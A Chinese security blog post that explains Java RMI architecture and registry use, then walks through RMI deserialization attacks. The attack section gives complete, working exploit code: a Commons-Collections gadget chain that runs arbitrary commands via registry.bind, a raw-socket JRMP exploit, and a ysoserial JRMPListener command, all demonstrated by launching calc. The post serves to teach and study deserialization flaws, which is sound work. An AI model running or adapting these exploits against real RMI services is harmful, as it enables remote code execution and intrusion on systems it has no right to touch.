HacKerQWQ的博客空间

java基础之RMI

Word count: 2.8kReading time: 13 min
2022/08/24 Share

RMI概念

RMI代表Remote Method Invocation,允许一个JVM中的对象access/invoke另一个JVM中的对象。

RMI用于构建分布式应用,提供Java项目之间的远程沟通,在包java.rmi中提供

RMI工作原理

RMI架构

RMI基于C/S架构,需要客户端及服务器端实现远程调用。

  • 在服务器程序内部,创建一个远程对象,并为客户端提供该对象的引用(使用注册表)。
  • 客户端请求远程服务器对象并尝试调用其方法

rmi_architecture

  • Transport Layer:连接客户端和服务器端。
  • Stub:客户端的远程对象的代理(Proxy),对客户端来说充当通路的角色。
  • Skeleton:客户端的Stub发送的请求进行交互
  • RRL:Remote Reference Layer,管理客户端对服务器远程对象的引用

RMI调用流程

一次RMI调用流程:

  1. 客户端call远程对象的请求被stub代理并且传送到RRL
  2. 客户端的RRL收到请求后,调用remoteRef对象的**invoke()**方法,并将请求传送到服务端的RRL
  3. 服务端的RRL收到来自客户端的请求后将请求传到Skeleton,Skeleton最终会调用客户端请求的对象并实现方法
  4. 调用结果传回客户端

RMI的注册

registry

  • RMI registry是服务器对象的命名空间,每当服务端创建对象,都需要用RMIregistrybindrebind方法并且使用唯一的名字对对象进行注册
  • 客户端需要对服务端的对象进行引用时,客户端使用lookup方法对registry中的对象进行名字的查找

RMI的实现

  1. 服务器端注册服务

    RMIServerTest.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    package rmi.server;

    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;

    public class RMIServerTest {

    // RMI服务器IP地址
    public static final String RMI_HOST = "127.0.0.1";

    // RMI服务端口
    public static final int RMI_PORT = 9527;

    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

    public static void main(String[] args) {
    try {
    // 注册RMI端口
    LocateRegistry.createRegistry(RMI_PORT);

    // 绑定Remote对象
    Naming.bind(RMI_NAME, new RMITestImpl());

    System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    }

    通过LocateReigistry.createregistry注册RMI端口,Naming.bind注册对象,RMI_NAME为该对象的唯一命名,new RMITestImpl()为类实例,客户端需要有该类的接口

  2. 服务器端的接口及实现代码

    RMITestInterface.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package rmi.server;

    import java.rmi.Remote;
    import java.rmi.RemoteException;

    /**
    * RMI测试接口
    */
    public interface RMITestInterface extends Remote {

    /**
    * RMI测试方法
    *
    * @return 返回测试字符串
    */
    String test() throws RemoteException;

    }

    该java定义了RMITest的接口

    RMITestImpl.java实现了RMITestInterface接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    package rmi.server;

    import rmi.server.RMITestInterface;

    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;

    public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {

    private static final long serialVersionUID = 1L;

    protected RMITestImpl() throws RemoteException {
    super();
    }

    /**
    * RMI测试方法
    *
    * @return 返回测试字符串
    */
    @Override
    public String test() throws RemoteException {
    return "Hello RMI~";
    }

    }
  3. 客户端只需要实现接口

    RMITestInterface.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package rmi.client;

    import java.rmi.Remote;
    import java.rmi.RemoteException;

    /**
    * RMI测试接口
    */
    public interface RMITestInterface extends Remote {

    /**
    * RMI测试方法
    *
    * @return 返回测试字符串
    */
    String test() throws RemoteException;

    }
  4. 实现RMI

    运行服务器端RMI Server,即RMIServerTest.java

    image-20220824121759159

    客户端发出RMI请求,对应RMIClientTest.java文件,成功调用方法

    image-20220824121908892

RMI攻击

RMI通信使用序列化数据,意味着客户端和服务器端都存在反序列化的风险!!!

Registry攻击

主要思路:

  1. 发现目标开启RMI Registry服务,准备攻击
  2. 生成Common-Collections生成的反序列化攻击链payload,通过remote对象存储payload
  3. 通过registry.bind(name,remote)请求远程RMI时,远程RMI解析请求并且反序列化,从而触发反序列化

常用函数有lookup,rebind,bind

环境

  • java1.7
  • 导入Common-Collections-3.1.jar
  1. 开启远程RMI

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    package rmi.server;

    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;

    public class RMIServerTest {

    // RMI服务器IP地址
    public static final String RMI_HOST = "192.168.43.238";

    // RMI服务端口
    public static final int RMI_PORT = 9527;

    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

    public static void main(String[] args) {
    try {
    // 注册RMI端口
    LocateRegistry.createRegistry(RMI_PORT);

    // 绑定Remote对象
    Naming.bind(RMI_NAME, new RMITestImpl());

    System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    }

    image-20220825104648258

  2. 进行RMI攻击

    RMIExploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package rmi.attack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;

import static rmi.server.RMIServerTest.RMI_HOST;
import static rmi.server.RMIServerTest.RMI_PORT;

/**
* RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
*
* @author yz
*/
public class RMIExploit {

// 定义AnnotationInvocationHandler类常量
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

/**
* 信任SSL证书
*/
private static class TrustAllSSL implements X509TrustManager {

private static final X509Certificate[] ANY_CA = {};

public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}

public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

}

/**
* 创建支持SSL的RMI客户端
*/
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {

public Socket createSocket(String host, int port) throws IOException {
try {
// 获取SSLContext对象
SSLContext ctx = SSLContext.getInstance("TLS");

// 默认信任服务器端SSL
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);

// 获取SSL Socket连接工厂
SSLSocketFactory factory = ctx.getSocketFactory();

// 创建SSL连接
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}

/**
* 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
*
* @param command 定义需要执行的CMD
* @return Payload
* @throws Exception 生成Payload异常
*/
private static InvocationHandler genPayload(String command) throws Exception {
// 创建Runtime.getRuntime.exec(cmd)调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};

// 创建ChainedTransformer调用链对象
Transformer transformerChain = new ChainedTransformer(transformers);

// 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

// 使用动态代理创建出Map类型的Payload
final Map mapProxy2 = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
}

/**
* 执行Payload
*
* @param registry RMI Registry
* @param command 需要执行的命令
* @throws Exception Payload执行异常
*/
public static void exploit(final Registry registry, final String command) throws Exception {
// 生成Payload动态代理对象
Object payload = genPayload(command);
String name = "test" + System.nanoTime();

// 创建一个含有Payload的恶意map
Map<String, Object> map = new HashMap();
map.put(name, payload);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);

// 使用动态代理创建出Remote类型的Payload
Remote remote = (Remote) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
);

try {
// 发送Payload
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}

public static void main(String[] args) throws Exception {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};
}

// 远程RMI服务IP
final String host = args[0];

// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);

// 需要执行的系统命令
final String command = args[2];

// 获取远程Registry对象的引用
Registry registry = LocateRegistry.getRegistry(host, port);

try {
// 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
String[] regs = registry.list();

for (String reg : regs) {
System.out.println("RMI:" + reg);
}
} catch (ConnectIOException ex) {
// 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}

// 执行payload
exploit(registry, command);
}

}

成功弹窗

image-20220825104922714

socket攻击

我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

JRMP接口的两种常见实现方式

  1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议
  2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

利用方式

  1. 启动RMIServerTest.java

  2. 以socket的方式通过JRMP协议发送恶意序列化数据

    JRMPExploit.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    package rmi.attack;

    import sun.rmi.server.MarshalOutputStream;
    import sun.rmi.transport.TransportConstants;

    import java.io.DataOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    import rmi.attack.RMIExploit;

    import static rmi.server.RMIServerTest.RMI_HOST;
    import static rmi.server.RMIServerTest.RMI_PORT;

    /**
    * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
    * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
    */
    public class JRMPExploit {

    public static void main(String[] args) throws IOException {
    if (args.length == 0) {
    // 如果不指定连接参数默认连接本地RMI服务
    args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};
    }

    // 远程RMI服务IP
    final String host = args[0];

    // 远程RMI服务端口
    final int port = Integer.parseInt(args[1]);

    // 需要执行的系统命令
    final String command = args[2];

    // Socket连接对象
    Socket socket = null;

    // Socket输出流
    OutputStream out = null;

    try {
    // 创建恶意的Payload对象
    Object payloadObject = RMIExploit.genPayload(command);

    // 建立和远程RMI服务的Socket连接
    socket = new Socket(host, port);
    // socket = new Socket("127.0.0.1", port);
    socket.setKeepAlive(true);
    socket.setTcpNoDelay(true);

    // 获取Socket的输出流对象
    out = socket.getOutputStream();

    // 将Socket的输出流转换成DataOutputStream对象
    DataOutputStream dos = new DataOutputStream(out);

    // 创建MarshalOutputStream对象
    ObjectOutputStream baos = new MarshalOutputStream(dos);

    // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
    dos.writeInt(TransportConstants.Magic);// 魔数
    dos.writeShort(TransportConstants.Version);// 版本
    dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
    dos.write(TransportConstants.Call);// RMI调用指令
    baos.writeLong(2); // DGC
    baos.writeInt(0);
    baos.writeLong(0);
    baos.writeShort(0);
    baos.writeInt(1); // dirty
    baos.writeLong(-669196253586618813L);// 接口Hash值

    // 写入恶意的序列化对象
    baos.writeObject(payloadObject);

    dos.flush();
    } catch (Exception e) {
    e.printStackTrace();
    } finally {
    // 关闭Socket输出流
    if (out != null) {
    out.close();
    }

    // 关闭Socket连接
    if (socket != null) {
    socket.close();
    }
    }
    }

    }

集成工具

使用ysoserial工具启动JRMP服务器,将恶意序列化数据返回客户端或者服务端,造成反序列化攻击

使用 ysoserial 开启一个 JRMP 监听服务(这里指的是 exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 ‘calc’

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

img

img

RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的 exploit/JRMPListener 会在指定端口开启一个 JRMP Server,然后会向任何连接其的客户端发送反序列化 payload。

参考链接

CATALOG
  1. 1. RMI概念
  2. 2. RMI工作原理
    1. 2.1. RMI架构
    2. 2.2. RMI调用流程
    3. 2.3. RMI的注册
  3. 3. RMI的实现
  4. 4. RMI攻击
    1. 4.1. Registry攻击
    2. 4.2. socket攻击
    3. 4.3. 集成工具
  5. 5. 参考链接